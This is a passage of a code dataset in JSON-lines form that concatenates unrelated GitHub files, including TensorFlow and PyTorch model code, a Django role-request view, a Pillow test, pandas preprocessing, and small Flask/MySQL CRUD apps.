decay_steps, end_learning_rate, power=0.5)\n'''\n\ndisplay_step = 1\nloss_op = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=logits, labels=Y))\nloss_op = tf.reduce_mean(loss_op + 0.01 * regulariser) # define loss function\noptimizer = tf.train.AdamOptimizer() # initialise optimiser\n# optimizer = tf.train.AdadeltaOptimizer()\n# optimizer = tf.train.GradientDescentOptimizer(learning_rate=learning_rate)\n# optimizer = tf.train.AdagradOptimizer(0.001)\ntrain_op = optimizer.minimize(loss_op, global_step=global_step)\n\n\n'''Initializing the variables'''\ninit = tf.global_variables_initializer()\n\n\n'''Dictionary to save plotting data'''\ntraining_logs = {'epoch': [], 'accuracy': [], 'cost': []}\n\n\nwith tf.Session() as sess:\n sess.run(init)\n\n '''Test model at random weights and save it as the best model'''\n correct_prediction = tf.equal(tf.argmax(tf.nn.softmax(logits), 1), tf.argmax(Y, 1))\n best_accuracy = tf.reduce_mean(tf.cast(correct_prediction, \"float\"))\n best_accuracy_float = best_accuracy.eval({X: testing_batch['data'][0: batch_size], Y: testing_batch['labels'][0: batch_size]})\n best_epoch = -1\n best_cost = -1\n best_MLP = logits\n\n print(\"Epoch:\", '%04d' % 0, \"cost unknown (random weights) Accuracy at mini-test:\", best_accuracy_float)\n\n '''Overall training cycle'''\n for epoch in range(training_epochs):\n avg_cost = 0.\n total_batch = int(length_of_training_batch / batch_size)\n\n '''Training cycle in one epoch'''\n for i in range(total_batch):\n # start_of_minibatch_in_batch = random.randrange(0, length_of_training_batch - batch_size)\n # batch_y = training_batch['labels'][start_of_minibatch_in_batch: start_of_minibatch_in_batch + batch_size]\n # batch_x = training_batch['data'][start_of_minibatch_in_batch: start_of_minibatch_in_batch + batch_size]\n batch_x = training_batch['data'][batch_size * i: batch_size * (i + 1)]\n batch_y = training_batch['labels'][batch_size * i: batch_size * (i + 1)]\n\n # Run optimization op (backprop) and cost op (to get loss value)\n _, c = sess.run([train_op, loss_op], feed_dict={X: batch_x, Y: batch_y})\n # Compute average loss\n avg_cost += c / total_batch\n\n '''Display logs and save state per epoch step'''\n if epoch % display_step == 0:\n correct_prediction = tf.equal(tf.argmax(tf.nn.softmax(logits), 1), tf.argmax(Y, 1))\n accuracy = tf.reduce_mean(tf.cast(correct_prediction, \"float\"))\n accuracy_float = accuracy.eval({X: testing_batch['data'][0: batch_size], Y: testing_batch['labels'][0: batch_size]})\n\n training_logs['epoch'].append(epoch)\n training_logs['accuracy'].append(accuracy_float)\n training_logs['cost'].append(avg_cost)\n\n print(\"Epoch:\", '%04d' % (epoch+1), \"cost={:.9f}\".format(avg_cost), \"Accuracy at mini-test:\", accuracy_float)\n # If epoch improved NN save it as the best\n if best_accuracy_float <= accuracy_float:\n best_accuracy_float = accuracy_float\n best_MLP = logits\n best_epoch = epoch\n best_cost = avg_cost\n\n print(\"Optimization Finished! Best accuracy was in epoch:\", '%04d' % (best_epoch + 1),\n \"cost={:.9f}\".format(best_cost))\n\n '''Test model'''\n pred = tf.nn.softmax(best_MLP) # Apply softmax to logits\n correct_prediction = tf.equal(tf.argmax(pred, 1), tf.argmax(Y, 1))\n predictions = tf.argmax(pred, 1)\n predictions = predictions.eval(feed_dict={X: testing_batch['data']}, session=sess)\n\n accuracy = tf.reduce_mean(tf.cast(correct_prediction, \"float\"))\n accuracy = accuracy.eval({X: testing_batch['data'], Y: testing_batch['labels']})\n\n training_logs['epoch'].append(training_epochs)\n training_logs['accuracy'].append(accuracy)\n training_logs['cost'].append(0)\n\n print(\"Accuracy:\", accuracy)\n\n '''Plot data'''\n print(\"\\n\\nMLP parameters:\\n\\tlayers \" + str(hidden_layers) + \"(\" + str(neurons_sequence) + \")\" +\n \"\\n\\tactivation function: ReLu \\nTraining parameters:\\n\\tepochs \" +\n str(training_epochs) + \"\\n\\tbatch size \" + str(batch_size) + \"\\n\\tcost function: softmax cross entropy\" +\n \"\\n\\toptimiser: AdamOptimiser\" + \"\\n\\tregularisation: l2\")\n\n '''Plot figure acc & cost ~ epoch''' '''\n fig, ax1 = plt.subplots()\n ax1.set_xlabel('Epoch')\n ax1.set_ylabel('Accuracy', color='red')\n ax1.plot(training_logs['epoch'], training_logs['accuracy'], 'o--', color='red')\n ax1.plot([training_epochs], [accuracy], 'o', color='green', label=\"Accuracy at full test\")\n plt.ylim((0, 1))\n ax1.tick_params(axis='y', labelcolor='red')\n plt.legend()\n\n ax2 = ax1.twinx()\n color = 'tab:blue'\n ax2.set_ylabel('Cost', color='blue') # we already handled the x-label with ax1\n ax2.plot(training_logs['epoch'], training_logs['cost'], 'o--', color='blue', label=\"Cost\")\n ax2.tick_params(axis='y', labelcolor='blue')\n\n fig.tight_layout()\n plt.show()'''\n\n '''Plot confusion matrix'''\n labels = di.unpickle('cifar-10-batches-py/test_batch')['labels']\n classes_names = ['airplane', 'automobile', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck']\n # y_pred = pd.Series(prediction, name='Predicted')\n\n cnf_matrix = confusion_matrix(labels, predictions)\n np.set_printoptions(precision=2)\n\n '''# Plot non-normalized confusion matrix\n plt.figure()\n plot_confusion_matrix(cnf_matrix, classes=classes_names,\n title='Confusion matrix, without normalization')\n\n # Plot normalized confusion matrix\n plt.figure()\n plot_confusion_matrix(cnf_matrix, classes=classes_names, normalize=True,\n title='Normalized confusion matrix')\n\n plt.show()\n '''\n\n '''Save bad predictions to further processing'''\n container = [] # 'index of image', 'predicted as class number', 'belonged for real to class'\n for i in range(0, len(predictions)): # iteracja po predykcjach\n # print(\"i:\", i, \"predictions[i]:\", predictions[i])\n for j in range(0, 10): # iteracja po klasach\n # print(\"\\tj:\", j)\n if predictions[i] == j:\n if predictions[i] != labels[i]:\n container.append([i, predictions[i], labels[i]])\n break\n # print(container)\n # container.sort(key=lambda r: r[2])\n container = (np.array(container)).astype(int)\n np.savetxt('np.csv', container, fmt='%.0f', delimiter=',',\n header='index of image, predicted as class number, belonged for real to class')\n\n","repo_name":"anty-filidor/mlp-cifar","sub_path":"src.py","file_name":"src.py","file_ext":"py","file_size_in_byte":9943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"72905458031","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport matplotlib.pyplot as plt\nimport sys \nimport os\n\nsys.path.append('./')\nfrom Networks.Subnets import VTN, VTNAffine, UNet, UNetNorm, UNetComplex, UNetComplexNorm\n# from Networks.UNet import UNet\nfrom Utils.Transform import SpatialTransformer, AffineTransform\nfrom Utils.Loss import ImageLoss, FlowLoss\n\n#\n# class RegNet(nn.Module):\n# def __init__(self,\n# shape,\n# n_deform=1,\n# n_recursive=1,\n# n_classes=-1,\n# affine_loss_dict={'corr':1},\n# deform_loss_dict={'corr':1},\n# deform_net='VTN',\n# seg_input=False,\n# show=False) -> None:\n# super().__init__()\n# self.show = show\n# self.imgs = []\n# self.segs = []\n#\n# self.seg_input = seg_input\n# if seg_input:\n# in_channels = 2+n_classes\n# else:\n# in_channels = 2\n#\n# self.affine = VTNAffine(shape, in_channels)\n#\n# self.deforms = nn.ModuleList()\n# for _ in range(n_deform):\n# if deform_net == 'VTN':\n# self.deforms.append(VTN(in_channels))\n# elif deform_net == 'UNet':\n# self.deforms.append(UNet(in_channels))\n# else:\n# raise ValueError('unfound deform network')\n#\n# self.n_recursive = n_recursive\n#\n# # loss\n# self.affine_criterion = AffineLoss(affine_loss_dict)\n# self.deform_criterion = DeformLoss(deform_loss_dict)\n# self.warpper = SpatialTransformer(shape)\n#\n# def forward(self, img_m, img_f, seg_m, seg_f):\n# \"\"\"_summary_\n#\n# Args:\n# img_m (torch.float32): (b, 1, *)\n# img_f (torch.float32): (b, 1, *)\n# seg_m (torch.long): (b, n_classes, *)\n# seg_f (torch.long): (b, n_classes, *)\n#\n# Returns:\n# _type_: _description_\n# \"\"\"\n# print(self.affine)\n# print(self.deforms)\n# loss_dict = None\n# if self.show:\n# self.record(img_m, seg_m, init=True)\n#\n# # affine\n# if self.seg_input:\n# theta = self.affine(torch.cat([img_m, seg_m], dim=1), img_f)\n# else:\n# theta = self.affine(img_m, img_f)\n# img_m = AffineTransform(img_m, theta)\n# seg_m = AffineTransform(seg_m, theta, mask=True)\n#\n# loss_dict = self.add_loss(loss_dict,\n# self.affine_criterion(img_f, img_m, theta, seg_f, seg_m))\n# if self.show:\n# self.record(img_m, seg_m)\n#\n# for _ in range(self.n_recursive):\n# # deforms\n# for deform_net in self.deforms:\n# if self.seg_input:\n# flow = deform_net(torch.cat([img_m, seg_m], dim=1), img_f)\n# else:\n# flow = deform_net(img_m, img_f)\n# img_m = self.warpper(img_m, flow)\n# seg_m = self.warpper(seg_m, flow, mask=True)\n# loss_dict = self.add_loss(loss_dict,\n# self.deform_criterion(img_f, img_m, flow, seg_f, seg_m))\n# if self.show:\n# self.record(img_m, seg_m)\n#\n# return img_m, loss_dict, seg_m\n#\n# def record(self, img_m, seg_m, init=False):\n# if init:\n# self.imgs = []\n# self.segs = []\n#\n# seg_m = torch.argmax(seg_m, dim=1, keepdim=True)\n# self.imgs.append(img_m)\n# self.segs.append(seg_m)\n#\n# def add_loss(self, loss_dict, new_loss_dict):\n# if loss_dict is None:\n# return new_loss_dict\n# else:\n# for loss_name in new_loss_dict.keys():\n# if loss_name in loss_dict.keys():\n# loss_dict[loss_name] += new_loss_dict[loss_name]\n# else:\n# loss_dict[loss_name] = new_loss_dict[loss_name]\n# return loss_dict\n#\n\nclass SimpleRegNet(nn.Module):\n def __init__(self,\n shape,\n n_deform=1,\n n_recursive=1,\n in_channels=2,\n affine_loss_dict={'corr': 1},\n image_loss_dict={'corr': 1},\n flow_loss_dict={'mse': 1},\n deform_net='VTN',\n is_affine=False,\n is_min=True,\n is_box=False) -> None:\n super().__init__()\n self.imgs = []\n self.segs = []\n self.is_affine = is_affine\n self.is_min = is_min\n self.is_box = is_box\n\n if self.is_affine:\n self.affine = VTNAffine(shape, in_channels)\n\n self.deforms = nn.ModuleList()\n for _ in range(n_deform):\n if deform_net == 'VTN':\n self.deforms.append(VTN(in_channels))\n elif deform_net == 'UNet':\n self.deforms.append(UNet(in_channels))\n elif deform_net == 'UNetComplex':\n self.deforms.append(UNetComplex(in_channels))\n elif deform_net == 'UNetNorm':\n self.deforms.append(UNetNorm(in_channels))\n elif deform_net == 'UNetComplexNorm':\n self.deforms.append(UNetComplexNorm(in_channels))\n else:\n raise ValueError('unfound deform network')\n\n self.n_recursive = n_recursive\n\n # loss\n # self.affine_criterion = AffineLoss(affine_loss_dict)\n self.image_criterion = ImageLoss(image_loss_dict)\n self.flow_criterion = FlowLoss(flow_loss_dict)\n self.warpper = SpatialTransformer(shape)\n\n def forward(self, moving_image, fixed_image, volume_per, moving_mask, label_flow, affine_param=0, is_show_model=False, flow_compute='add'):\n \"\"\"_summary_\n\n Args:\n moving_image (torch.float32): (b, 1, *)\n volume_per (torch.float32): (b, 1, *)\n Returns:\n _type_: _description_\n \"\"\"\n if is_show_model:\n print(self.affine)\n print(self.deforms)\n loss_dict = None\n flow_list = []\n if self.is_affine:\n theta = self.affine(moving_image, volume_per)\n moving_image = AffineTransform(moving_image, theta)\n loss_dict = self.add_loss(loss_dict, self.affine_criterion(fixed_image, moving_image, theta, affine_param))\n\n for _ in range(self.n_recursive):\n for deform_num, deform_net in enumerate(self.deforms):\n flow = deform_net(moving_image, volume_per)\n flow_list.append(flow)\n moving_image = self.warpper(moving_image, flow, is_min=self.is_min)\n # mask 做变换\n loss_dict = self.add_loss(loss_dict, self.image_criterion(fixed_image, moving_image, seg_m=moving_mask, is_box=self.is_box))\n\n final_flow = torch.zeros_like(flow_list[0])\n if flow_compute == 'add':\n for idx, flow in enumerate(flow_list):\n final_flow = final_flow + flow\n loss_dict = self.add_loss(loss_dict, self.flow_criterion(final_flow, label_flow))\n elif flow_compute == 'single':\n for idx, flow in enumerate(flow_list):\n final_flow = final_flow + flow\n loss_dict = self.add_loss(loss_dict, self.flow_criterion(flow, label_flow))\n elif flow_compute == 'add_step_by_step':\n for idx, flow in enumerate(flow_list):\n weight = 0.25*(idx+1)\n final_flow = final_flow + flow\n loss_dict = self.add_loss(loss_dict, self.flow_criterion(final_flow, label_flow, weight=weight))\n if self.is_affine:\n return moving_image, final_flow, theta, loss_dict\n else:\n return moving_image, final_flow, loss_dict\n\n def add_loss(self, loss_dict, new_loss_dict):\n if loss_dict is None:\n return new_loss_dict\n else:\n for loss_name in new_loss_dict.keys():\n if loss_name in loss_dict.keys():\n loss_dict[loss_name] += new_loss_dict[loss_name]\n else:\n loss_dict[loss_name] = new_loss_dict[loss_name]\n return loss_dict\n\n\nif __name__ == '__main__':\n device = 'cuda:5'\n moving_image = torch.randn([1, 1, 256, 256, 256]).to(device)\n volume_per = torch.randn([1, 1, 256, 256, 256]).to(device)\n label_flow = torch.randn([1, 3, 256, 256, 256]).to(device)\n # img_m = torch.randn([1, 1, 128, 128, 128]).to(device)\n # img_f = torch.randn([1, 1, 128, 128, 128]).to(device)\n # seg_m = torch.zeros([1, 1, 128, 128, 128]).to(device)\n # seg_f = torch.ones([1, 1, 128, 128, 128]).to(device)\n \n simple_regnet = SimpleRegNet([256, 256, 256], 3).to(device)\n # print(RegNet)\n img, loss = simple_regnet(moving_image, volume_per, label_flow)\n print(img.shape, loss)\n","repo_name":"Cherishzyh/RegVoxel","sub_path":"Networks/Mainnet.py","file_name":"Mainnet.py","file_ext":"py","file_size_in_byte":8994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"8455517709","text":"from urllib.parse import parse_qs, urlparse\n\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import HttpRequest, QueryDict\nfrom django.shortcuts import render\nfrom django.views.decorators.csrf import csrf_exempt\nfrom rest_framework.request import Request\n\nfrom portal.apps.user_requests.api.viewsets import UserRequestViewSet\nfrom portal.apps.user_requests.models import AerpawUserRequest\nfrom portal.apps.user_requests.user_requests import approve_user_role_request, deny_user_role_request\nfrom portal.server.settings import DEBUG, REST_FRAMEWORK\n\n\n@csrf_exempt\n@login_required\ndef user_role_reqeust_list(request):\n message = None\n try:\n # check for query parameters\n current_page = 1\n search_term = None\n if request.method == 'POST':\n if request.POST.get('approve_request_id'):\n if approve_user_role_request(request_id=int(request.POST.get('approve_request_id'))):\n ur_api_request = Request(request=HttpRequest())\n ur = UserRequestViewSet(request=ur_api_request)\n ur_api_request.user = request.user\n ur_api_request.method = 'PUT'\n ur_api_request.data.update(\n {'is_approved': True,\n 'response_note': request.POST.get('response_note', None)})\n resp = ur.update(request=ur_api_request, pk=request.POST.get('approve_request_id'))\n if request.POST.get('deny_request_id'):\n if deny_user_role_request(request_id=int(request.POST.get('deny_request_id'))):\n ur_api_request = Request(request=HttpRequest())\n ur = UserRequestViewSet(request=ur_api_request)\n ur_api_request.user = request.user\n ur_api_request.method = 'PUT'\n ur_api_request.data.update(\n {'is_approved': False,\n 'response_note': request.POST.get('response_note', None)})\n resp = ur.update(request=ur_api_request, pk=request.POST.get('deny_request_id'))\n data_dict = {'request_type': AerpawUserRequest.RequestType.ROLE.value}\n if request.GET.get('page'):\n data_dict['page'] = request.GET.get('page')\n current_page = int(request.GET.get('page'))\n request.query_params = QueryDict('', mutable=True)\n request.query_params.update(data_dict)\n ur = UserRequestViewSet(request=request)\n user_requests = ur.list(request=request)\n # get prev, next and item range\n next_page = None\n prev_page = None\n count = 0\n min_range = 0\n max_range = 0\n if user_requests.data:\n user_requests = dict(user_requests.data)\n prev_url = user_requests.get('previous', None)\n if prev_url:\n prev_dict = parse_qs(urlparse(prev_url).query)\n try:\n prev_page = prev_dict['page'][0]\n except Exception as exc:\n print(exc)\n prev_page = 1\n next_url = user_requests.get('next', None)\n if next_url:\n next_dict = parse_qs(urlparse(next_url).query)\n try:\n next_page = next_dict['page'][0]\n except Exception as exc:\n print(exc)\n next_page = 1\n count = int(user_requests.get('count'))\n min_range = int(current_page - 1) * int(REST_FRAMEWORK['PAGE_SIZE']) + 1\n max_range = int(current_page - 1) * int(REST_FRAMEWORK['PAGE_SIZE']) + int(REST_FRAMEWORK['PAGE_SIZE'])\n if max_range > count:\n max_range = count\n else:\n user_requests = {}\n item_range = '{0} - {1}'.format(str(min_range), str(max_range))\n except Exception as exc:\n message = exc\n user_requests = {}\n item_range = None\n next_page = None\n prev_page = None\n search_term = None\n count = 0\n return render(request,\n 'user_role_request_list.html',\n {\n 'user': request.user,\n 'user_requests': user_requests,\n 'item_range': item_range,\n 'message': message,\n 'next_page': next_page,\n 'prev_page': prev_page,\n 'search': search_term,\n 'count': count,\n 'debug': DEBUG\n })\n","repo_name":"AERPAW-Platform-Control/aerpaw-portal","sub_path":"portal/apps/user_requests/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"17147510269","text":"from flask import Flask,render_template,request,redirect,url_for,flash\nfrom flask_mysqldb import MySQL \n\napp = Flask(__name__)\napp.config['MYSQL_HOST']='localhost'\napp.config['MYSQL_USER']='root'\napp.config['MYSQL_PASSWORD']=''\napp.config['MYSQL_DB']='DB_Floreria'\n\napp.secret_key = 'mysecretkey'\n\nmysql =MySQL(app)\n\n@app.route('/')\ndef index():\n curSelect=mysql.connection.cursor()\n curSelect.execute('select * from tbFlores')\n consulta = curSelect.fetchall()\n \n return render_template('index.html',listFlor=consulta)\n\n@app.route('/guardar',methods=['POST'])\ndef guardar():\n if request.method == 'POST':\n \n Vnombre=request.form['txtNombre']\n Vcantidad=request.form['txtCantidad']\n Vprecio=request.form['txtPrecio']\n \n curguar=mysql.connection.cursor()\n curguar.execute('insert into tbFlores(nombre,cantidad,precio) values(%s,%s,%s)',(Vnombre,Vcantidad,Vprecio))\n mysql.connection.commit()\n \n flash('Flor agregada correctamente')\n return redirect(url_for('index'))\n\n@app.route('/borrar/')\ndef borrar(id):\n curEditar= mysql.connection.cursor()\n curEditar.execute('select * from tbFlores where id= %s ',(id,))\n consulID=curEditar.fetchone()\n return render_template('Eliminar.html',flor=consulID)\n\n\n@app.route('/eliminar/',methods=['POST']) \ndef eliminar(id):\n if request.method == 'POST':\n \n cureli=mysql.connection.cursor()\n cureli.execute('delete from tbFlores where id= %s',(id))\n mysql.connection.commit()\n \n flash('Flor eliminada en DB')\n return redirect(url_for('index'))\n\n@app.route('/regresar')\ndef regresar():\n return render_template('index.html')\n \n \nif __name__=='__main__':\n app.run(port=4000,debug=True)\n \n","repo_name":"121038217/Flask182","sub_path":"examen2/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"73070149163","text":"import os\nimport subprocess\nimport sys\n\n\ndef test_main():\n out = subprocess.check_output([sys.executable, \"-m\", \"PIL\"]).decode(\"utf-8\")\n lines = out.splitlines()\n assert lines[0] == \"-\" * 68\n assert lines[1].startswith(\"Pillow \")\n assert lines[2].startswith(\"Python \")\n lines = lines[3:]\n while lines[0].startswith(\" \"):\n lines = lines[1:]\n assert lines[0] == \"-\" * 68\n assert lines[1].startswith(\"Python modules loaded from \")\n assert lines[2].startswith(\"Binary modules loaded from \")\n assert lines[3] == \"-\" * 68\n jpeg = (\n os.linesep\n + \"-\" * 68\n + os.linesep\n + \"JPEG image/jpeg\"\n + os.linesep\n + \"Extensions: .jfif, .jpe, .jpeg, .jpg\"\n + os.linesep\n + \"Features: open, save\"\n + os.linesep\n + \"-\" * 68\n + os.linesep\n )\n assert jpeg in out\n","repo_name":"python-pillow/Pillow","sub_path":"Tests/test_main.py","file_name":"test_main.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","stars":11252,"dataset":"github-code","pt":"19"} +{"seq_id":"44087650539","text":"from dotenv import load_dotenv, find_dotenv\nfrom pathlib import Path\nimport os\nimport pandas as pd\nimport numpy as np\nfrom tqdm import tqdm\n\n\nproject_dir = Path(__file__).resolve().parents[2]\nprocessed_data_dir = os.path.join(project_dir, os.environ.get(\"PROCESSED_DATA_DIR\"))\nraw_data_dir = os.path.join(project_dir, os.environ.get(\"RAW_DATA_DIR\"))\n\ndef proc_dataset(df):\n number_of_batches = len(df) // 50\n proc_df = list()\n for df_p in tqdm(np.array_split(df, number_of_batches)):\n if 'item_bought' in df_p:\n df_p = pd.concat([df_p.user_history.apply(pd.Series), df_p.item_bought], axis = 1).stack()\n train_dataset = True\n else:\n df_p = df_p.user_history.apply(pd.Series).stack()\n train_dataset = False\n\n df_p = df_p.apply(pd.Series)\n df_p.reset_index(inplace = True)\n df_p.drop(columns = 'level_1', inplace = True)\n\n if train_dataset:\n new_columns = {0: 'item_bought', 'level_0': 'seq'}\n df_p['event_type'] = df_p.event_type.fillna('buy')\n else:\n new_columns = {'level_0': 'seq'}\n\n df_p.rename(columns = new_columns, inplace = True)\n\n # df_p['timezone'] = df_p.event_timestamp.str[-4:]\n df_p['event_timestamp'] = pd.to_datetime(df_p.event_timestamp.str[:-9])\n df_p['time_diff'] = df_p.groupby('seq').event_timestamp.diff().dt.seconds\n\n # if train_dataset:\n proc_df.append(df_p)\n\n proc_df = pd.concat(proc_df)\n return proc_df\n\ndef get_lang_from_views(df):\n\n # read item_domain.pkl\n item_domain_fn = 'item_domain.pkl'\n item_domain_fp = os.path.join(processed_data_dir, item_domain_fn)\n if not os.path.exists(item_domain_fp):\n print('run EDA_dataprep.ipynb first to create item_domain.pkl')\n assert False\n item_domain = pd.read_pickle(item_domain_fp)\n item_domain['lang_domain'] = item_domain.category_id.str[:3].replace({'MLM': 'es', 'MLB': 'pt'})\n\n # get language from most prevalent viewed item domains\n lang = df[df.event_type == 'view'].copy()\n lang['event_info'] = lang.event_info.astype(int)\n lang = lang[['seq', 'event_info']]\n lang = pd.merge(lang, item_domain[['item_id', 'lang_domain']], how = 'left',\n left_on = 'event_info', right_on = 'item_id')\n lang = lang.groupby('seq').lang_domain.value_counts()\n lang = lang.unstack().fillna(0).idxmax(axis = 1)\n lang = lang.reset_index().rename(columns = {0: 'lang_seq'})\n\n # merge back into df by seq_id\n df = pd.merge(df, lang, how = 'left')\n\n return df\n\ndef get_lang_from_nlp(df):\n \"\"\"use langdetect on search strings to detect lang\"\"\"\n pass\n\ndef save_true_labels(df, true_fn = 'true.pkl'):\n true_fp = os.path.join(processed_data_dir, true_fn)\n true_df = df[(df.event_type.isnull()) | (df.event_type == 'buy')]\n true_df = true_df[['seq', 'item_bought']]\n true_df.to_pickle(true_fp)\n\ndef read_raw_save_processed(raw_fn = 'train_dataset.jl.gz', processed_fn = 'train_dataset.pkl',\n force_process = False, nrows = None, add_lang = True):\n\n processed_fp = os.path.join(processed_data_dir, processed_fn)\n if os.path.exists(processed_fp) and not force_process:\n processed = pd.read_pickle(processed_fp)\n else:\n raw = pd.read_json(os.path.join(raw_data_dir, raw_fn), lines = True, nrows = nrows)\n raw['len_events'] = raw.user_history.str.len()\n raw.sort_values('len_events', inplace = True)\n raw.drop('len_events', axis = 1, inplace = True)\n processed = proc_dataset(raw)\n if add_lang:\n processed = get_lang_from_views(processed)\n # call get_lang_from_nlp to detect rows with lang_seq = NaNs\n processed.to_pickle(processed_fp)\n\n if 'item_bought' in processed:\n processed.item_bought = processed.item_bought.fillna(method = 'backfill').astype(int)\n processed['in_nav'] = processed.item_bought == processed.event_info\n\n return processed\n\ndef read_processed(train_fn, test_fn, keep_train = None, validation = None,\n lang = 'both'):\n\n train_fp = os.path.join(processed_data_dir, train_fn)\n train = pd.read_pickle(train_fp)\n\n if validation is None:\n test_fp = os.path.join(processed_data_dir, test_fn)\n test = pd.read_pickle(test_fp)\n else:\n train, test = shrink_and_split(train,\n keep_train = keep_train,\n validation = validation)\n\n for df in [train, test]:\n if 'timezone' in df:\n df.drop(columns = 'timezone', inplace = True)\n\n if lang == 'es':\n df['lang_seq'] = df.lang_seq.fillna('pt') # if lang not detected make it 'pt'\n else:\n df['lang_seq'] = df.lang_seq.fillna('pt')\n\n print('lang', lang)\n\n if lang != 'both':\n train = train[train.lang_seq == lang]\n test = test[test.lang_seq == lang]\n\n return train, test\n\ndef shrink_and_split(train, keep_train = None, validation = None):\n\n print('initial train shape:', train.shape)\n\n if keep_train:\n unique_seqs = train.seq.unique()\n selected_seqs = np.random.choice(unique_seqs,\n size = int(len(unique_seqs) * keep_train),\n replace = False)\n train = train[train.seq.isin(selected_seqs)].copy()\n\n if validation:\n unique_seqs = train.seq.unique()\n selected_seqs = np.random.choice(unique_seqs,\n size = int(len(unique_seqs) * validation),\n replace = False)\n test = train[train.seq.isin(selected_seqs)].copy()\n test.drop('item_bought', axis = 1, inplace = True)\n test = test[test.event_type != 'buy'] # change to 'buy' if this comes from dataprep\n train = train[~train.seq.isin(selected_seqs)].copy()\n\n print('train/test shapes:', train.shape, test.shape)\n\n return train, test\n\n\n# one_hour = np.timedelta64(1, 'h')\n# def get_event_weights_h(x):\n# last_ts = x.values[-1]\n# h = (last_ts - x) / one_hour\n# return (1 - alpha) ** h\n\nalpha = 0.02 # 0.1 => 5d : 0.6\none_minus_alpha = 1 - alpha\none_day = np.timedelta64(1, 'D')\n\ndef get_event_weights_d(x):\n last_ts = x.values[-1]\n d = (last_ts - x) / one_day\n return one_minus_alpha ** d.round(0)\n\ndef join_prepare_train_test(df_train, df_test,\n buy_weight = None, return_search = False,\n drop_timezone = True, drop_lang = True,\n just_concat = False,\n extra_weight = 200, lang = 'pt', **kwargs):\n # print('join_prepare_train_test:,', buy_weight, kwargs)\n # breakpoint()\n if isinstance(df_train, str) and isinstance(df_test, str):\n df_train, df_test = read_processed(df_train, df_test, lang = lang)\n\n test_offset = df_train.seq.max() + 1\n df_test_copy = df_test.copy()\n df_test_copy.seq = df_test_copy.seq + test_offset\n test_shifted_seq_vals = np.sort(np.unique(df_test_copy.seq))\n df = pd.concat([df_train, df_test_copy])\n df['event_type'] = df.event_type.fillna('buy') # not needed if 'buy' is filled in dataprep\n\n if just_concat:\n if drop_timezone and ('timezone' in df):\n df = df.drop(columns = ['timezone'])\n return test_offset, test_shifted_seq_vals, df\n\n buy_idx = df.event_type == 'buy'\n search_idx = df.event_type == 'search'\n\n if buy_weight:\n df_buy = df[buy_idx].copy()\n df_buy.drop('event_info', axis = 1, inplace = True)\n df_buy.rename(columns = {'item_bought': 'event_info'}, inplace = True)\n df_buy = df_buy.drop(['event_timestamp', 'event_type', 'time_diff'], axis = 1)\n df_buy['views'] = buy_weight #+ extra_weight * df_buy['in_nav_pred']\n df_buy['event_type'] = 'buy'\n\n if return_search:\n df_search = df[search_idx].copy()\n df_search.drop(['event_timestamp', 'time_diff', 'item_bought'], axis = 1, inplace = True)\n\n df = df[~(buy_idx | search_idx)].copy() # only views\n # df['event_weights'] = df.groupby('seq').event_timestamp.transform(get_event_weights_d)\n df = df.drop(['event_timestamp', 'item_bought', 'time_diff'], axis = 1)\n df = df.groupby(['seq', 'event_info']).event_type.count().reset_index() # simple count\n df.rename(columns = {'event_type': 'views'}, inplace = True) # fixing col name - simple count\n # df = df.groupby(['seq', 'event_info']).event_weights.sum().reset_index()\n # df.rename(columns = {'event_weights': 'views'}, inplace = True) # fixing col name\n df['event_type'] = 'view'\n\n if buy_weight:\n df = pd.concat([df, df_buy]).sort_values('seq')\n #df['event_info'] = df['event_info'].astype(int)\n\n if return_search:\n df = pd.concat([df, df_search])\n\n if drop_timezone and ('timezone' in df):\n df = df.drop(columns = ['timezone'])\n\n df = df.sort_values(['seq', 'event_type'], ascending = [True, False])\n\n # df.drop(['lang_seq', 'in_nav', 'in_nav_pred'], axis = 1, inplace = True)\n if drop_lang and ('lang_seq' in df):\n df.drop(['lang_seq'], axis = 1, inplace = True)\n\n # df['normalized_views'] = df.groupby('seq').views.transform(lambda x: x/sum(x))\n\n return test_offset, test_shifted_seq_vals, df\n","repo_name":"hitoshinagano/MercadoLibre_2020","sub_path":"src/features/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":9364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"34550247467","text":"# Importando as bibliotecas:\nfrom flask import Flask, render_template, request, redirect, url_for\nfrom flaskext.mysql import MySQL\nfrom db import *\nimport os\nfrom werkzeug.utils import secure_filename\n\n# Instanciando o objeto Flask\napp = Flask(__name__)\n\n# definido o endereço em que as imagens serão salvas\nUPLOAD_FOLDER = 'C://Users//Adm//PycharmProjects//projeto_site_concessionaria//static//images'\n\n# configurando a pasta de upload a qual as imagens enviadas pelo usuario serão armazenadas\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\n\n\n# Instanciando o objeto MySQL\nmysql = MySQL()\n\n# Conectando MySQL ao Flask\nmysql.init_app(app)\n\n# Configuração do Banco de dados:\nconfig(app)\n\n\n# Rota para o index:\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n\n# rota para a pagina de administração do superior\n@app.route('/adm', methods=['GET','POST'])\ndef adm():\n # Obtendo o cursor para acessar o BD\n conn, cursor = get_db(mysql)\n\n # renderizando a pagina do administrador:\n return render_template('adm.html', lista_fun=get_fun(cursor), lista_car=get_carros(cursor))\n\n\n# rota para a pagina do funcionario, com as reservas\n@app.route('/funcionario')\ndef funcionario():\n\n # renderizando a pagina do funcionario:\n return render_template('funcionario.html')\n\n\n# rota para a pagina de login\n@app.route('/login')\ndef login():\n return render_template('login.html')\n\n\n# rota para entrar, seja como funcionario seja como administrador\n@app.route('/entrar', methods=['GET','POST'])\ndef entrar():\n if request.method == 'POST':\n\n login = request.form.get('login')\n senha = request.form.get('senha')\n\n 